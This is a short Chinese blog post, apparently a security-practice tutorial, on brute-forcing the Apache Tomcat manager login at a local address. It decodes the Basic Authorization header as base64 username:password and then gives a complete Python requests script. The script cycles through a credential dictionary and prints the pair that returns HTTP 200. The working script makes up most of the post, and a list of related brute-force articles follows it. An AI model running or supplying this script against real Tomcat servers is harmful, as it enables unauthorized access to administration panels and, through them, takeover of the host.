使用python3对tomcat后台爆破

àì夳堔傛蜴生んèń 2021-09-23 10:12 371阅读 0赞

tomcat后台的地址是  
`http://127.0.0.1:8080/manager/html`  
通过谷歌游览器的无痕窗口检查分析，发现请求头的  
`Authorization: Basic YWRtaW46MTIzNA==`可能是用户名和密码  
tomcat对用户名和密码进行了加密，根据等号，加密算法可能是base64  
对YWRtaW46MTIzNA==进行base64解密，发现是用户名:密码

admin:1234

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM1NDkyNjUw_size_16_color_FFFFFF_t_70]  
使用python3 的requests模块对tomcat后台进行爆破

import requests
    import base64
    
    url = "http://127.0.0.1:8080/manager/html"
    with open("dict.txt", "r") as f:
        while 1:
        	# 取出字典中的用户名和密码
            passwd = f.readline()[:-1]
            # 如果为空，dick.txt文件的最后一行,退出运行
            if passwd == "":
                break
            # 对用户名和密码进行base64加密
            Authorization = "Basic " + base64.b64encode(passwd.encode("utf-8")).decode("utf-8")
            headers = { 
                "Authorization": Authorization
            }
            response = requests.get(url, headers=headers)
            print(response.status_code)
            # 根据返回的状态码，判断用户名和密码是否正确
            if response.status_code == 200:
                print("success")
                print("用户名:密码" + passwd)
                break

dict.txt 内容如下

tomcat:1234
    admin:1234

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM1NDkyNjUw_size_16_color_FFFFFF_t_70]: /images/20210923/7babfaacf04a4cf7a5ca0e547482ccf6.png

发表评论取消回复

表情：

评论列表（有 0 条评论，371人围观）

还没有评论，来说两句吧...

相关阅读

相关 BUUCTF Brute 1使用BurpSuite爆破详解

最近研究一下白帽子安全，主要关注WEB安全，在做完了常规的靶场xsslab、SQLI、DVWA、Pikachu后，了解了白帽子安全的基础知识。进一步开始用一些CTF来练习...

亦凉/ 2024年04月18日 15:37/ 0 赞/ 87 阅读

相关 Tomcat 后台启动进程

最近做项目中，因为公用服务器的原因，启动在服务器上面的服务老是被人关闭（tomcat的服务窗口太多）所以想把服务窗口转到后台启动 1：tomcat如何启动服务基于

深碍√TFBOYSˉ_/ 2023年10月09日 12:06/ 0 赞/ 43 阅读

相关 Tomcat弱口令爆破&war包上传

win10环境Tomcat安装详细安装tomcat过程，请参考以下链接内容： [https://blog.csdn.net/qq\_44697728/article

淩亂°似流年/ 2023年10月07日 21:03/ 0 赞/ 13 阅读

相关 Burp Suite使用之账号、密码爆破

1、被测系统多次输入错误的账号和密码后，没有弹出验证码，于是，开始爆破，Burp Suite和浏览器，分别设置本地代理。 ![watermark_type_ZmFuZ3poZ

小鱼儿/ 2023年10月06日 09:23/ 0 赞/ 28 阅读

相关密码爆破

生气想安装wpscan装了一下午了，还是kali好早知道留着了。我知道为啥要绕过验证码了。。。。。。我今天知道了怎么解决爆破时候页面。我之前用Hydra 因为不管是正确的还

素颜马尾好姑娘i/ 2023年01月04日 10:29/ 0 赞/ 228 阅读

相关 nmap扫描 & hydra爆破 & 本地密码爆破

目录一、基础知识扫描技术主机探测与端口扫描 \- Nmap-扫描器之王 \- 九头蛇Hydra 本地破解本地暴力破解：二、实验过程 2.1 Nma

我就是我/ 2022年11月30日 04:22/ 0 赞/ 907 阅读

相关 python编译后的pyd爆破

最近接触一个国外某app的协议软件，是python3.8写的，它把关键模块都编译成了pyd，然后使用pyinstaller打包发布给用户。软件启动后检查机器码，然后就需要输入授

分手后的思念是犯贱/ 2022年10月25日 14:25/ 0 赞/ 563 阅读

相关 Tomcat密码爆破小记

![Center][] 前言我们安全工程师在日常的工作当中会遇到格式各样的，对系统服务枚举，还有对中间件和web登录界面的密码枚举，那么今天呢小编记录一下使用Met

不念不忘少年蓝@/ 2022年06月11日 06:26/ 0 赞/ 431 阅读

相关爆破相关整理

验证码验证码泄露网站的源码中请求的Cookie中爆破无条件不刷新 -验证码固定 - 直接爆破有条件不刷新

た入场券/ 2021年11月02日 02:34/ 0 赞/ 466 阅读

相关使用python3对tomcat后台爆破

tomcat后台的地址是 `http://127.0.0.1:8080/manager/html` 通过谷歌游览器的无痕窗口检查分析，发现请求头的 `Authori

àì夳堔傛蜴生んèń/ 2021年09月23日 10:12/ 0 赞/ 372 阅读